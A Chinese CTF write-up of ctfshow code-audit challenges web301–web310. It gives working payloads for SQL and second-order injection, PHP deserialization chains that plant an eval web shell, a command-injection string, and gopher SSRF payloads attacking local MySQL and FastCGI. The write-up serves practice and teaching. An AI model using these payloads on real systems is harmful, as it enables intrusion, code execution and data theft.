本文最后更新于:2023年8月25日 下午
                  
                
              
            
            
              
                
                [TOC]
【ctfshow】代码审计
web301

审计一下,存在sql注入漏洞,我们使用union:

让输入的密码与查询出来的密码相等即可
web302
修改的地方: if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){ 
| 12
 3
 
 | function sds_decode($str){return md5(md5($str.md5(base64_encode("sds")))."sds");
 }
 
 | 
当 $userpwd=1时: sds_decode($userpwd) = d9c77c4e454869d5d8da3b4be79694d3
因此,我们只需要密码传参:1,然后用户名使用联合查询:
| 1
 | ' union select 'd9c77c4e454869d5d8da3b4be79694d3'#
 | 
注意需要将数字使用单引号包裹起来

web303

这一题用户名长度增加了限制,小于6位,
但是从sql表中找到一条数据:
| 1
 | INSERT INTO `sds_user` VALUES ('1', 'admin', '27151b7b1ad51a38ea66b1529cde5ee4');
 | 
admin经过 sds_decode()函数加密刚好为:27151b7b1ad51a38ea66b1529cde5ee4
因此可以直接登录进去 admin   admin
注入点:dptadd.php

然后会在:dpt.php回显出来
 
典型的二次注入
我们这样注入:查询库名

查表名:
| 1
 | ',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())#1
 | 

查列名:
| 1
 | ',sds_address=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')#1
 | 
flag
查数据:
| 1
 | ',sds_address=(select flag from sds_fl9g)#
 | 
web304
增加了全局waf 
| 12
 3
 
 | function sds_waf($str){ return preg_match('/[0-9]|[a-z]|-/i', $str);
 }
 
 | 
同上
web305
这一题给插入的数据使用了waf,不能走sql注入了
| 12
 3
 4
 5
 6
 7
 
 | function sds_waf($str){if(preg_match('/\~|\`|\!|\@|\#|\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\"|\,|\.|\?|\/|\\\|\<|\>/', $str)){
 return false;
 }else{
 return true;
 }
 }
 
 | 
我们在 class.php中发现可利用的点
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 
 | class user{public $username;
 public $password;
 public function __construct($u,$p){
 $this->username=$u;
 $this->password=$p;
 }
 public function __destruct(){
 file_put_contents($this->username, $this->password);
 }
 }
 
 | 
析构方法可以写入文件。
在checklogin.php发现反序列化

因此我们构造:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 
 | <?php
 class user{
 public $username;
 public $password;
 
 }
 
 $a = new user();
 $a->username="1.php";
 $a->password='<?php eval($_POST[1]);?>';
 
 echo serialize($a);
 
 O:4:"user":2:{s:8:"username";s:5:"1.php";s:8:"password";s:24:"<?php eval($_POST[1]);?>";}
 
 | 
cookie传参(注意url编码)
然后就可以使用蚁剑连接了,
但是flag存在数据库中:


web306
开始使用mvc结构
在class.php中发现:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 
 | class log{public $title='log.txt';
 public $info='';
 public function loginfo($info){
 $this->info=$this->info.$info;
 }
 public function close(){
 file_put_contents($this->title, $this->info);
 }
 }
 
 | 
我们可以利用 file_put_contents()写入一句话木马
但是我们需要想办法调用 close()方法
在dao.php中发现:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 
 | class dao{private $config;
 private $conn;
 
 ...
 public function __destruct(){
 $this->conn->close();
 }
 
 ...
 }
 
 | 
dao类的析构方法会调用 close方法,所以我们只需要将$conn改为log类对象即可
然后在index.php中发现反序列化:
| 12
 3
 4
 5
 6
 7
 8
 9
 
 | <?phpsession_start();
 require "conn.php";
 require "dao.php";
 $user = unserialize(base64_decode($_COOKIE['user']));
 if(!$user){
 header("location:login.php");
 }
 ?>
 
 | 
构造:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 
 | <?php
 class log{
 public $title='1.php';
 public $info='<?php eval($_POST[1]);?>';
 
 
 }
 
 class dao {
 private $conn;
 
 public function __construct() {
 $this->conn = new log();
 }
 }
 $d = new dao();
 echo base64_encode(serialize(new dao()));
 
 
 TzozOiJkYW8iOjE6e3M6OToiAGRhbwBjb25uIjtPOjM6ImxvZyI6Mjp7czo1OiJ0aXRsZSI7czo1OiIxLnBocCI7czo0OiJpbmZvIjtzOjI0OiI8P3BocCBldmFsKCRfUE9TVFsxXSk7Pz4iO319
 
 | 
传参:

蚁剑连接拿flag
web307
这一题不会调用那个方法了,我们放弃
dao.php中出现可以命令执行的利用点:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 
 | class dao{private $config;
 private $conn;
 
 public function __construct(){
 $this->config=new config();
 $this->init();
 }
 public function  clearCache(){
 shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
 }
 
 }
 
 | 
config.php
| 12
 3
 
 | class config{public $cache_dir = 'cache';
 }
 
 | 
在logout.php中可以利用:
| 12
 3
 4
 5
 6
 7
 8
 
 | <?php
 $service = unserialize(base64_decode($_COOKIE['service']));
 if($service){
 $service->clearCache();
 }
 
 ?>
 
 | 
 构造:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 
 | <?phpclass config{
 public $cache_dir = ';echo  "<?php eval(\$_POST[1]);?>" >a.php;';
 
 }
 class dao{
 private $config;
 public function __construct(){
 $this->config=new config();
 }
 
 }
 $a=new dao();
 echo base64_encode(serialize($a));
 ?>
 
 
 | 
web308
需要拿shell

这一题clearCache()过滤了很多,我们放弃
我们在fun.php中发现:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 
 | function checkUpdate($url){$ch=curl_init();
 curl_setopt($ch, CURLOPT_URL, $url);
 curl_setopt($ch, CURLOPT_HEADER, false);
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
 $res = curl_exec($ch);
 curl_close($ch);
 return $res;
 }
 
 | 
curl存在ssrf漏洞
然后该函数被:dao.php  checkVersion()函数调用:
| 12
 3
 
 | public function checkVersion(){return checkUpdate($this->config->update_url);
 }
 
 | 
然后 该函数又在index.php中被调用:

就形成了一条pop链
然后我们看到 config.php中:

使用mysql数据库,用户名:root,又没有密码,
所以我们可以使用ssrf利用gopher协议打mysql去写入木马。我们使用 Gopherus:

然后构造脚本:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 
 | <?php
 class dao
 {
 private $config;
 public function __construct() {
 $this->config = new config();
 }
 }
 class config
 {
 public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%46%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%61%2e%70%68%70%27%3b%01%00%00%00%01';
 }
 
 
 $d = new dao();
 echo base64_encode(serialize($d));
 
 
 | 
cookie传参:

命令执行即可:

web309
需要拿shell,308的方法不行了,mysql 有密码了
由于mysql有密码了,
SSRF利用gopher协议打mysql数据库是只能在无密码的情况下进行的,所以上题的方法失效了
不能打mysql,那我们只能测试一下redis和fastcgi,由于我们使用的是mysql
所以只需测试fastcgi即可
一般来说 FastCGI 都是绑定在 127.0.0.1 端口上的,但是利用 Gopher+SSRF 可以完美攻击 FastCGI 执行任意命令
| 12
 3
 4
 
 | FastCGI攻击需要满足三个条件:1. PHP版本要高于5.3.3,才能动态修改PHP.INI配置文件
 2. 知道题目环境中的一个PHP文件的绝对路径
 3.PHP-FPM监听在本机9000端口
 
 | 
使用gopherus脚本利用fastcgi,我们需要知道服务器上存在的一个文件(最好是php)
在安装完php后会存在一个自带php文件: /usr/local/lib/php/PEAR.php 
/usr/local/lib/php/PEAR.php 是一个文件路径,指向位于 Unix-like 系统中的 PHP PEAR(PHP Extension and Application Repository)库的文件。
PEAR 是一个第三方的 PHP 库和软件包管理系统,用于在 PHP 中方便地安装、升级和管理可重用的代码库。PEAR.php 文件是 PEAR 库的核心文件之一,它提供了用于加载和使用 PEAR 功能的函数和类。
通过包含 PEAR.php 文件,开发人员可以使用 PEAR 提供的功能和组件,例如自动加载类、安装和管理软件包、错误处理和日志记录等。它是 PEAR 库的入口点之一,其他的核心文件和组件也会在需要时被加载。
需要注意的是,/usr/local/lib/php/PEAR.php 是一个默认的路径示例,实际安装 PEAR 库的路径可能会有所不同,具体取决于系统和安装设置。

使用sleep命令测试一下存在延迟,
经过测试,存在延迟,所以我们可以利用fastcgi去执行命令

| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 
 | <?php
 class dao
 {
 private $config;
 public function __construct() {
 $this->config = new config();
 }
 }
 class config
 {
 public $update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27tac%20f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00';
 }
 
 
 $d = new dao();
 echo base64_encode(serialize($d));
 
 
 
 | 
然后传参
web310
经过测试,fastcgi的端口9000还是开放的,可以延迟,但是我们却读取不出flag了
我们先查找一下flag的路径:

发现flag在 /var/flag 下:

但是我们去读取还是读不出来
nginx.conf 和 FastCGI 在 Nginx 中有密切的关系。下面是它们之间的关系解释:
- Nginx 配置文件 (- nginx.conf):- nginx.conf是 Nginx 的主配置文件,用于定义服务器的行为和功能。在- nginx.conf文件中,可以配置 Nginx 服务器的全局设置、虚拟主机配置、代理规则、缓存设置等。这个文件是 Nginx 的核心配置文件,决定了服务器的整体行为。
 
- FastCGI: FastCGI 是一种用于处理动态内容的通信协议。它允许 Web 服务器(如 Nginx)与后端应用程序(如 PHP、Python、Ruby 等)进行通信。FastCGI 帮助提高服务器性能,通过长连接、进程管理和请求复用等机制,减少了每个请求启动新进程的开销。 
- Nginx 与 FastCGI: Nginx 作为一个高性能的 Web 服务器,常用于代理和反向代理后端的 FastCGI 应用程序。当 Nginx 接收到来自客户端的请求时,它可以通过配置将请求转发给 FastCGI 后端,由 FastCGI 进程处理动态内容的生成。通过 Nginx 和 FastCGI 的结合,可以有效地处理动态请求,并将静态和动态内容进行分离,提高服务器的性能和可扩展性。 
在 nginx.conf 文件中,你可以使用 location 块来配置 Nginx 如何处理 FastCGI 请求。例如,你可以指定 FastCGI 后端的地址和端口、请求超时时间、缓存策略等。通过这些配置,Nginx 将能够将动态请求转发给 FastCGI 后端,并将响应返回给客户端。
总结来说,nginx.conf 是 Nginx 的主配置文件,定义了服务器的行为和功能,而 FastCGI 是一种通信协议,用于处理动态内容。Nginx 可以通过配置文件与 FastCGI 后端进行通信,实现动态内容的处理和分发。
这里我们可以先读取一下 nginx 服务器配置文件:nginx.conf
我们先查找一下路径:

发现在:/etc/nginx/nginx.conf 路径下
于是我们读取它:

nginx.conf
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 
 | ...
 http {
 include       /etc/nginx/mime.types;
 default_type  application/octet-stream;
 sendfile        on;
 keepalive_timeout  65;
 
 ...
 
 server {
 listen       4476;
 server_name  localhost;
 root         /var/flag;
 index index.html;
 
 proxy_set_header Host $host;
 proxy_set_header X-Real-IP $remote_addr;
 proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
 }
 }
 
 | 
在nginx配置文件中,我们发现,配置了端口为 4476 的http服务,并且该服务的根目录为:/var/flag
因此,我们可以直接构造一个http请求,去请求本机的4476端口:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 
 | <?php
 class dao
 {
 private $config;
 public function __construct() {
 $this->config = new config();
 }
 }
 class config
 {
 public $update_url = 'http://127.0.0.1:4476';
 }
 
 
 $d = new dao();
 echo base64_encode(serialize($d));
 
 
 
 | 
传参得flag